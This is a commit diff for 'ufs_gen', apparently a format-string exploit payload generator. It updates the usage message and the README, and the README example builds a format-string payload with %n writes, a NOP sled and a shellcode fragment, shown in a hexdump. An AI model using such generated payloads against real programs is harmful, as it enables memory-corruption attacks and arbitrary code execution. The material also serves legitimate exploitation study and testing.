update the usage message and the README

Refs: #1

2 files changed, 27 insertions, 2 deletions

diff --git a/README b/README
index b2d9679..d8d3358 100644
--- a/README
+++ b/README
@@ -38,12 +38,32 @@ is not 4 bytes long, there is very few chances that it would work correctly.
 The support of printf(payload) directly (i.e. without a temporary buffer) is 
 also planned.
 
+We support the option --prefix and --suffix which respectively prepend and
+append their argument to the payload.
+
+We also support the option --sfxnops which adds n NOP byte (0x90) between the
+payload and the suffix
+
 Example
 =======
 
 user@localhost$ ./ufs_gen --override 0x11223344 --with 0x55667788 --stackidx 4
 D3"E3"F3"G3"%120x%4$n%239x%5$n%239x%6$n%239x%7$n
 
+user@localhost$ shellcode="$(perl -e 'print "\x68\x2f\x73\x68\xff\xfe\x44"')"
+user@localhost$ ./ufs_gen --override 0x11223344 --with 0x55667788 --stackidx 4 --suffix "$shellcode"  --sfxnops 100 | hexdump -C
+NOP bytes are at offset 52 (0x34)
+suffix is at offset 152 (0x98)
+00000000  44 33 22 11 45 33 22 11  46 33 22 11 47 33 22 11  |D3".E3".F3".G3".|
+00000010  25 31 32 30 78 25 34 24  6e 25 32 33 39 78 25 35  |%120x%4$n%239x%5|
+00000020  24 6e 25 32 33 39 78 25  36 24 6e 25 32 33 39 78  |$n%239x%6$n%239x|
+00000030  25 37 24 6e 90 90 90 90  90 90 90 90 90 90 90 90  |%7$n............|
+00000040  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
+*
+00000090  90 90 90 90 90 90 90 90  68 2f 73 68 ff fe 44     |........h/sh..D|
+0000009f
+
+
 License
 =======
 
diff --git a/main.c b/main.c
index 4f4dc97..ac07f54 100644
--- a/main.c
+++ b/main.c
@@ -50,8 +50,13 @@ static int suffix_nops_g = 0;
     __attribute__((noreturn))
 static void usage(const char *arg0)
 {
-    fprintf(stderr, "usage: %s --override addr --with addr --stackidx idx\n", arg0);
-    fprintf(stderr, "       %s --override addr --with addr --stackidx idx --addrsize size\n", arg0);
+    (void)arg0;
+
+    fputs("usage:\n\n", stderr);
+    fputs(
+	    "ufs_gen "
+	    "[--prefix pfx] [--suffix sfx] [--sfxnops n]\n"
+	    "        --override addr --with addr --stackidx idx\n", stderr);
 
     exit(EX_USAGE);
 }